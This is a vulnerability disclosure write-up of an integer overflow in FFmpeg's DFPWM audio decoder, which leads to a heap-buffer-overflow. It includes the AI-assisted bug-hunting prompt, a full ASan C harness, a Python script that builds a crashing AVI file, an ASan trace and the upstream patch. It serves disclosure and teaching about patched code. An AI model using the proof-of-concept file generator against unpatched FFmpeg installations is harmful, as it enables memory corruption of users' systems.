FFmpeg DFPWM: a 4-year-old integer overflow hiding behind eight samples

This one started as a small arithmetic question inside a small decoder. The target was libavcodec/dfpwmdec.c, the DFPWM audio decoder that landed in FFmpeg in March 2022. The bug was fixed upstream in May 2026, so the vulnerable logic lived for about four years.

The upstream fix is intentionally small: avcodec/dfpwmdec: Check nb_samples. It adds an explicit bounds check before the decoded sample count is stored in the frame.

The prompt that made the search useful

The prompt was not “find bugs in FFmpeg.” That is too wide. I wanted the model to stay inside one class of mistakes and explain every claim with code and a reproducer. In plain form, the useful prompt looked like this:

We are doing authorized security research on a local FFmpeg checkout.
Focus on integer overflows in decoders and demuxers.
Prioritize packet-size, sample-count, frame-size, and allocation math.
For each candidate, show the exact file/function, why attacker-controlled input reaches it,
how the arithmetic crosses a type boundary, and a minimal ASan harness or media-file PoC.
Do not report speculation; only keep candidates that can be reproduced locally.

That prompt helped because it turned the model into a constrained reviewer. Instead of wandering through every codec, it looked for places where media-controlled sizes become allocation sizes or loop bounds. In FFmpeg, those conversions are security-sensitive because demuxers and decoders constantly translate bytes from a file into samples, pixels, planes, packets, and frames.

Why DFPWM stood out

DFPWM is a 1-bit audio format. In the decoder, each compressed byte expands into eight output samples. That makes the important calculation very simple:

frame->nb_samples = packet->size * 8LL / ctx->ch_layout.nb_channels;

The multiplication uses 8LL, so the expression is evaluated wide enough. The weak point is the assignment: frame->nb_samples is an int. A large packet can produce a sample count greater than INT_MAX, then the value is stored in a field that cannot represent it.

The second half of the bug is the mismatch between the allocation and the decode loop. The frame buffer is sized from frame->nb_samples, but the decompressor still walks the original packet length:

if ((ret = ff_get_buffer(ctx, frame, 0)) < 0)
    return ret;

au_decompress(state, 140, packet->size, frame->data[0], packet->data);

So the invariant should have been: the decoded output size must be representable before the frame is allocated. Without that check, a huge packet can make nb_samples wrap down while the decode loop still writes as if the huge packet were valid.

The harness

I first confirmed the bug with a direct libavcodec harness. It avoids container parsing and calls the DFPWM decoder with one oversized packet. The key value is 0x20000001 bytes:

pkt->size = 0x20000001; /* 536,870,913 bytes */
pkt->data = av_malloc(pkt->size);
memset(pkt->data, 0, pkt->size);

avcodec_send_packet(ctx, pkt);
avcodec_receive_frame(ctx, frame);

The relevant calculation is: 0x20000001 * 8 equals 4,294,967,304. If that lands in a 32-bit int, the visible sample count becomes 8. FFmpeg allocates a tiny output frame, while au_decompress() tries to emit eight samples for each byte in the original packet.

./configure \
  --cc=clang --cxx=clang++ --ld=clang \
  --disable-stripping --disable-optimizations \
  --extra-cflags='-fsanitize=address -fno-omit-frame-pointer -g' \
  --extra-ldflags='-fsanitize=address' \
  --disable-everything --disable-autodetect --enable-small \
  --enable-decoder=dfpwm --enable-demuxer=avi --enable-muxer=null \
  --enable-protocol=file

The standalone harness is here: dfpwm-asan-harness.c.

#include <stdio.h>
#include <string.h>

#include "libavutil/pixfmt.h"
#include "libavcodec/avcodec.h"
#include "libavutil/channel_layout.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"

int main(void) {
    const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_DFPWM);
    if (!codec) {
        fprintf(stderr, "decoder not found\n");
        return 1;
    }

    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx)
        return 1;

    av_channel_layout_default(&ctx->ch_layout, 1);
    ctx->sample_rate = 1;
    fprintf(stderr, "configured sample_rate=%d channels=%d\n",
            ctx->sample_rate, ctx->ch_layout.nb_channels);

    AVDictionary *opts = NULL;
    av_dict_set_int(&opts, "sample_rate", 48000, 0);

    if (avcodec_open2(ctx, codec, &opts) < 0) {
        fprintf(stderr, "open failed\n");
        return 1;
    }

    AVPacket *pkt = av_packet_alloc();
    AVFrame  *frame = av_frame_alloc();
    if (!pkt || !frame)
        return 1;

    /* size chosen so (size * 8) overflows 32-bit signed to a small positive value */
    pkt->size = 0x20000001; /* 536,870,913 bytes */
    pkt->data = av_malloc(pkt->size);
    if (!pkt->data) {
        fprintf(stderr, "alloc failed\n");
        return 1;
    }
    memset(pkt->data, 0, pkt->size);

    if (avcodec_send_packet(ctx, pkt) < 0) {
        fprintf(stderr, "send failed\n");
        return 1;
    }

    /* The overflow happens while decoding this packet. */
    int ret = avcodec_receive_frame(ctx, frame);
    fprintf(stderr, "receive ret=%d\n", ret);

    return 0;
}

The AVI file

After the direct harness, I also checked the decoder through a media-file path. The AVI file contains a DFPWM audio stream and a single oversized 00wb audio chunk. The generator builds the RIFF/AVI structure, writes a WAVEFORMATEXTENSIBLE stream format with the DFPWM GUID, and then emits the large audio payload.

python3 make-dfpwm-avi-poc.py poc_dfpwm.avi 0x20000001
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 ./ffmpeg -v error -i poc_dfpwm.avi -f null -

The AVI generator is here: make-dfpwm-avi-poc.py. I kept paths relative in the command because the reproducer does not depend on my machine layout.

#!/usr/bin/env python3
import os
import struct
import sys


DFPWM_GUID = bytes([
    0x3A, 0xC1, 0xFA, 0x38, 0x81, 0x1D, 0x43, 0x61,
    0xA4, 0x0D, 0xCE, 0x53, 0xCA, 0x60, 0x7C, 0xD1,
])


def chunk(tag, payload):
    padding = b"\x00" if len(payload) & 1 else b""
    return tag + struct.pack("<I", len(payload)) + payload + padding


def list_chunk(kind, payload):
    data = kind + payload
    padding = b"\x00" if len(data) & 1 else b""
    return b"LIST" + struct.pack("<I", len(data)) + data + padding


def riff_file(kind, payload):
    data = kind + payload
    return b"RIFF" + struct.pack("<I", len(data)) + data


def wav_format_extensible():
    channels = 1
    sample_rate = 48_000
    bits_per_sample = 1
    block_align = 1
    byte_rate = 6_000
    cb_size = 22
    channel_mask = 4
    return struct.pack(
        "<HHIIHHH",
        0xFFFE,
        channels,
        sample_rate,
        byte_rate,
        block_align,
        bits_per_sample,
        cb_size,
    ) + struct.pack("<HI", bits_per_sample, channel_mask) + DFPWM_GUID


def make_header(payload_size):
    avih = struct.pack(
        "<IIIIIIIIIIIIII",
        1_000_000,
        payload_size,
        0,
        0x10,
        1,
        0,
        1,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
    )

    strh = struct.pack(
        "<4s4sIHHIIIIIIII",
        b"auds",
        b"\x00\x00\x00\x00",
        0,
        0,
        0,
        0,
        1,
        48_000,
        0,
        payload_size,
        0,
        0xFFFFFFFF,
        1,
    )

    stream = list_chunk(
        b"strl",
        chunk(b"strh", strh) +
        chunk(b"strf", wav_format_extensible()),
    )
    hdrl = list_chunk(b"hdrl", chunk(b"avih", avih) + stream)
    movi = b"LIST" + struct.pack("<I", 4 + 8 + payload_size + (payload_size & 1)) + b"movi"

    return b"RIFF" + struct.pack("<I", 4 + len(hdrl) + len(movi) + 8 + payload_size + (payload_size & 1)) + b"AVI " + hdrl + movi


def main():
    output = sys.argv[1] if len(sys.argv) > 1 else "poc_dfpwm.avi"
    payload_size = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x20000001

    with open(output, "wb") as f:
        f.write(make_header(payload_size))
        f.write(b"00wb")
        f.write(struct.pack("<I", payload_size))

        chunk_size = 1024 * 1024
        remaining = payload_size
        zeros = b"\x00" * chunk_size
        while remaining:
            n = min(remaining, chunk_size)
            f.write(zeros[:n])
            remaining -= n
        if payload_size & 1:
            f.write(b"\x00")

    print(f"wrote {output} ({os.path.getsize(output)} bytes)")


if __name__ == "__main__":
    main()

ASan confirmation

With the ASan build and symbolizer enabled, the media-file path reports the exact write site in au_decompress(), the allocation path through ff_get_buffer(), and the decoder thread that processes the oversized AVI packet:

ffmpeg_g(23482,0x7ff8562f9c00) malloc: nano zone abandoned due to inability to reserve vm space.
=================================================================
==23482==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6090000093a0 at pc 0x00010aaee795 bp 0x70000bcb4370 sp 0x70000bcb4368
WRITE of size 1 at 0x6090000093a0 thread T3
    #0 0x00010aaee794 in au_decompress ./libavcodec/dfpwmdec.c:77:25
    #1 0x00010aaee794 in dfpwm_dec_frame ./libavcodec/dfpwmdec.c:117:5
    #2 0x00010aae550f in decode_simple_internal ./libavcodec/decode.c:448:16
    #3 0x00010aae550f in decode_simple_receive_frame ./libavcodec/decode.c:608:15
    #4 0x00010aae550f in ff_decode_receive_frame_internal ./libavcodec/decode.c:644:15
    #5 0x00010aae6e36 in decode_receive_frame_internal ./libavcodec/decode.c:662:15
    #6 0x00010aae6caf in avcodec_send_packet ./libavcodec/decode.c:746:15
    #7 0x00010a9c3738 in packet_decode ./fftools/ffmpeg_dec.c:724:11
    #8 0x00010a9c3738 in decoder_thread ./fftools/ffmpeg_dec.c:955:15
    #9 0x00010aa1c9c9 in task_wrapper ./fftools/ffmpeg_sched.c:2694:11
    #10 0x00010b80e3f6 in asan_thread_start(void*) (/usr/local/Cellar/llvm/22.1.4/lib/clang/22/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xe03f6)
    #11 0x7ff8157a5e4c in _pthread_start (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x5e4c)
    #12 0x7ff8157a1856 in thread_start (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1856)

0x6090000093a0 is located 0 bytes after 32-byte region [0x609000009380,0x6090000093a0)
allocated by thread T3 here:
    #0 0x00010b816235 in posix_memalign (/usr/local/Cellar/llvm/22.1.4/lib/clang/22/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xe8235)
    #1 0x00010abc3756 in av_malloc ./libavutil/mem.c:107:9
    #2 0x00010ab9feef in av_buffer_alloc ./libavutil/buffer.c:82:12
    #3 0x00010ab9ff82 in av_buffer_allocz ./libavutil/buffer.c:95:24
    #4 0x00010aba136d in pool_alloc_buffer ./libavutil/buffer.c:369:26
    #5 0x00010aba136d in av_buffer_pool_get ./libavutil/buffer.c:407:15
    #6 0x00010aafc8ca in audio_get_buffer ./libavcodec/get_buffer.c:196:25
    #7 0x00010aafc8ca in avcodec_default_get_buffer2 ./libavcodec/get_buffer.c:287:16
    #8 0x00010aaebe50 in ff_get_buffer ./libavcodec/decode.c:1812:11
    #9 0x00010aaee352 in dfpwm_dec_frame ./libavcodec/dfpwmdec.c:114:16
    #10 0x00010aae550f in decode_simple_internal ./libavcodec/decode.c:448:16
    #11 0x00010aae550f in decode_simple_receive_frame ./libavcodec/decode.c:608:15
    #12 0x00010aae550f in ff_decode_receive_frame_internal ./libavcodec/decode.c:644:15
    #13 0x00010aae6e36 in decode_receive_frame_internal ./libavcodec/decode.c:662:15
    #14 0x00010aae6caf in avcodec_send_packet ./libavcodec/decode.c:746:15
    #15 0x00010a9c3738 in packet_decode ./fftools/ffmpeg_dec.c:724:11
    #16 0x00010a9c3738 in decoder_thread ./fftools/ffmpeg_dec.c:955:15
    #17 0x00010aa1c9c9 in task_wrapper ./fftools/ffmpeg_sched.c:2694:11
    #18 0x00010b80e3f6 in asan_thread_start(void*) (/usr/local/Cellar/llvm/22.1.4/lib/clang/22/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xe03f6)
    #19 0x7ff8157a5e4c in _pthread_start (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x5e4c)
    #20 0x7ff8157a1856 in thread_start (/usr/lib/system/libsystem_pthread.dylib:x86_64+0x1856)

Thread T3 created by T0 here:
    #0 0x00010b800cad in pthread_create (/usr/local/Cellar/llvm/22.1.4/lib/clang/22/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xd2cad)
    #1 0x00010aa17145 in task_start ./fftools/ffmpeg_sched.c:415:11
    #2 0x00010aa16c6c in sch_start ./fftools/ffmpeg_sched.c:1759:15
    #3 0x00010aa46947 in transcode ./fftools/ffmpeg.c:896:11
    #4 0x00010aa46947 in main ./fftools/ffmpeg.c:1031:11
    #5 0x7ff8153ce780 in start (/usr/lib/dyld:x86_64+0x6780)

SUMMARY: AddressSanitizer: heap-buffer-overflow ./libavcodec/dfpwmdec.c:77:25 in au_decompress
Shadow bytes around the buggy address:
  0x609000009100: fa fa fa fa fa fa fa fa 00 00 00 fa fa fa fa fa
  0x609000009180: fa fa fa fa fa fa fa fa 00 00 00 fa fa fa fa fa
  0x609000009200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x609000009280: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x609000009300: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x609000009380: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x609000009400: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
  0x609000009480: fa fa fa fa fa fa fa fa 00 00 00 fa fa fa fa fa
  0x609000009500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x609000009580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x609000009600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==23482==ABORTING

The 32-byte allocation is the symptom. The requested decode output should have been rejected as too large, but the wrapped sample count made the allocation look small enough to proceed.

The fix

Michael Niedermayer fixed it by splitting the sample-count calculation into an explicitly wide temporary and checking it before assigning to frame->nb_samples:

+    uint64_t nb_samples = packet->size * 8LL / ctx->ch_layout.nb_channels;
 
-    frame->nb_samples = packet->size * 8LL / ctx->ch_layout.nb_channels;
-    if (frame->nb_samples <= 0) {
+    if (nb_samples > INT_MAX || !nb_samples) {
         av_log(ctx, AV_LOG_ERROR, "invalid number of samples in packet\n");
         return AVERROR_INVALIDDATA;
     }
+    frame->nb_samples = nb_samples;

The important property is the order: validate the decoded sample count in a type that can represent the full calculation, reject zero and out-of-range values, and only then store it in the frame.

PR and merge timeline

• March 10, 2022: DFPWM1a support was added in 39a33038ce.
• May 1, 2026: PR #22993 was opened with Fixes: integer overflow and Found-by: Dhiraj Mishra.
• May 3, 2026: the fix landed on master as 118bddf0ce.
• May 3, 2026: it was backported to release branches as e2c6836694 for 8.1 and 03e24b148e for 8.0.
• May 4, 2026: the backports are included in tags n8.1.1 and n8.0.2.

The lesson is boring in the best way: decoder bugs often hide in small arithmetic. The prompt helped by forcing the review to stay on type boundaries and allocation math. ASan made the final answer binary: either the oversized sample count is rejected, or the decoder writes past a tiny frame buffer.